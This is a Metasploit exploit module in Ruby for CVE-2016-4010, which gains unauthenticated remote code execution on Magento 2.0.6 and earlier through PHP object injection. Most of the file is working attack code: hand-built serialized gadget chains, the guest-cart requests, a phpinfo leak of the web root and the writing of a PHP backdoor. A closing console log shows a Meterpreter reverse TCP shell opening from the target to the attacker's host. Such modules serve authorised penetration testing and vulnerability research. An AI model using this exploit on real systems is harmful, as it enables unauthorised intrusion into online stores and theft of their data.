|
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution',
'Description' => %q{
This module exploits a PHP object injection vulnerability in Magento 2.0.6
or prior.
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' =>
[
'Netanel Rubin', # original discovery
'agix', # original exploit
'mr_me <mr_me[at]offensive-security.com>', # metasploit module
],
'Payload' =>
{
'BadChars' => "\x22",
},
'References' =>
[
['CVE', '2016-4010'],
['EDB', '39838'],
['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],
['URL', 'https://magento.com/security/patches/magento-206-security-update']
],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true } ],
],
'DisclosureDate' => 'May 17 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def get_phpinfo
# uses the Magento_Framework_DB_Transaction class
serialize = 'O:13:\"Credis_Client\":22:{'
serialize << 's:8:\"\u0000*\u0000redis\";'
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
serialize << 's:9:\"\u0000*\u0000_order\";N;'
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
serialize << 's:12:\"\u0000*\u0000_children\";N;'
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
serialize << 's:31:\"sales_order_payment_transaction\";'
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
serialize << 's:25:\"order_payment_transaction\";'
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
serialize << 's:2:\"id\";'
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_resource\";'
serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'
serialize << 's:11:\"\u0000*\u0000_objects\";'
serialize << 'a:0:{}'
serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'
serialize << 'a:0:{}'
serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'
serialize << 'a:1:{'
serialize << 'i:0;'
serialize << 's:7:\"phpinfo\";}}' # the rub
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
serialize << 'b:0;'
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
serialize << 'b:1;'
serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
serialize << 's:13:\"\u0000*\u0000storedData\";'
serialize << 'a:0:{}'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:0:{}}'
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
serialize << 's:7:\"\u0000*\u0000host\";N;'
serialize << 's:7:\"\u0000*\u0000port\";N;'
serialize << 's:10:\"\u0000*\u0000timeout\";N;'
serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000connected\";'
serialize << 'b:1;'
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
serialize << 'i:0;'
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
serialize << 'i:0;'
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
serialize << 's:11:\"\u0000*\u0000commands\";N;'
serialize << 's:10:\"\u0000*\u0000isMulti\";'
serialize << 'b:0;'
serialize << 's:13:\"\u0000*\u0000isWatching\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
serialize << 's:13:\"\u0000*\u0000selectedDb\";'
serialize << 'i:0;'
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
serialize << 'a:3:{'
serialize << 's:6:\"delete\";'
serialize << 's:3:\"del\";'
serialize << 's:7:\"getkeys\";'
serialize << 's:4:\"keys\";'
serialize << 's:7:\"sremove\";'
serialize << 's:4:\"srem\";}'
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
serialize << 's:11:\"\u0000*\u0000requests\";'
serialize << 'i:0;}'
serialize
end
def get_phpshell
s = "#{@webroot}/#{@backdoor}"
p = "<?php #{payload.encoded} ?>"
# uses the Magento_Framework_Simplexml_Config_Cache_File class
serialize = 'O:13:\"Credis_Client\":22:{'
serialize << 's:8:\"\u0000*\u0000redis\";'
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
serialize << 's:9:\"\u0000*\u0000_order\";N;'
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
serialize << 's:12:\"\u0000*\u0000_children\";N;'
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'
serialize << 'b:1;'
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
serialize << 's:31:\"sales_order_payment_transaction\";'
serialize << 's:15:\"\u0000*\u0000_eventObject\";'
serialize << 's:25:\"order_payment_transaction\";'
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
serialize << 's:2:\"id\";'
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_origData\";N;'
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
serialize << 'b:0;'
serialize << 's:12:\"\u0000*\u0000_resource\";'
serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:3:{'
serialize << 's:18:\"is_allowed_to_save\";'
serialize << 'b:1;'
serialize << 's:14:\"stat_file_name\";'
serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell
serialize << 's:10:\"components\";'
serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
serialize << 'b:0;'
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
serialize << 's:12:\"\u0000*\u0000_registry\";N;'
serialize << 's:10:\"\u0000*\u0000_logger\";N;'
serialize << 's:12:\"\u0000*\u0000_appState\";N;'
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
serialize << 's:13:\"\u0000*\u0000storedData\";'
serialize << 'a:0:{}'
serialize << 's:8:\"\u0000*\u0000_data\";'
serialize << 'a:0:{}}'
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
serialize << 's:7:\"\u0000*\u0000host\";N;'
serialize << 's:7:\"\u0000*\u0000port\";N;'
serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'
serialize << 's:13:\"\u0000*\u0000persistent\";N;'
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
serialize << 'b:1;'
serialize << 's:12:\"\u0000*\u0000connected\";'
serialize << 'b:1;'
serialize << 's:13:\"\u0000*\u0000standalone\";N;'
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
serialize << 'i:0;'
serialize << 's:18:\"\u0000*\u0000connectFailures\";'
serialize << 'i:0;'
serialize << 's:14:\"\u0000*\u0000usePipeline\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
serialize << 's:11:\"\u0000*\u0000commands\";N;'
serialize << 's:10:\"\u0000*\u0000isMulti\";'
serialize << 'b:0;'
serialize << 's:13:\"\u0000*\u0000isWatching\";'
serialize << 'b:0;'
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
serialize << 'a:3:{'
serialize << 's:6:\"delete\";'
serialize << 's:3:\"del\";'
serialize << 's:7:\"getkeys\";'
serialize << 's:4:\"keys\";'
serialize << 's:7:\"sremove\";'
serialize << 's:4:\"srem\";}'
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
serialize << 's:11:\"\u0000*\u0000requests\";'
serialize << 'i:0;}'
serialize
end
def do_check
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
data << get_phpinfo
data << "\"}},\"email\":\"#{@email}\"}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
end
def define_globals
@phpsessid = Rex::Text.rand_text_alphanumeric(26)
@form_key = Rex::Text.rand_text_alphanumeric(26)
@cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"
@email = "#{@phpsessid}@#{@form_key}.com"
end
def check
define_globals
# we actually exploit the bug, but just for a callback
begin
if create_fake_cart
if generate_cart_id
# twice, because we need to setup the phpinfo callback using
# the Magento_Framework_DB_Transaction() pop chain
res = ""
(0..1).step(1) do |n|
res = do_check
end
if (res && res.body.include?('phpinfo()'))
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
rescue ::Rex::ConnectionError => e
vprint_error(e.message)
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Safe
end
def get_webroot
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
data << get_phpinfo
data << "\"}},\"email\":\"#{@email}\"}"
# we steal path via phpinfo
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
if res && res.code == 200
@webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/
return true
end
false
end
def create_fake_cart
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
'cookie' => @cookies,
'vars_get' => { 'form_key' => @form_key }
})
return true if (res && res.body.include?('[]'))
false
end
def generate_cart_id
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/checkout/cart/'),
'cookie' => @cookies,
})
if res && res.code == 200
@guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/
return true
end
false
end
def backdoor
data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""
data << get_phpshell
data << "\"}},\"email\":\"#{@email}\"}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
'ctype' => 'application/json',
'data' => data,
})
return true if (res && res.body.include?('true'))
false
end
def exec_code
send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"),
}, timeout = 0.5)
end
def exploit
define_globals
@backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"
register_files_for_cleanup("#{@backdoor}")
if create_fake_cart && generate_cart_id
print_good("generated a guest cart id")
if get_webroot && backdoor
print_good("backdoor done!")
exec_code
end
end
end
end
=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc
[*] Processing scripts/sam.rc for ERB directives.
resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize
resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (scripts/sam.rc)> set RHOST 192.168.100.13
RHOST => 192.168.100.13
resource (scripts/sam.rc)> set LHOST 192.168.100.2
LHOST => 192.168.100.2
resource (scripts/sam.rc)> set LPORT 6666
LPORT => 6666
resource (scripts/sam.rc)> check
[*] 192.168.100.13:80 The target appears to be vulnerable.
resource (scripts/sam.rc)> exploit
[*] Started reverse TCP handler on 192.168.100.2:6666
[+] generated a guest cart id
[+] backdoor done!
[*] Sending stage (33721 bytes) to 192.168.100.13
[*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500
[+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php
meterpreter >
=end
|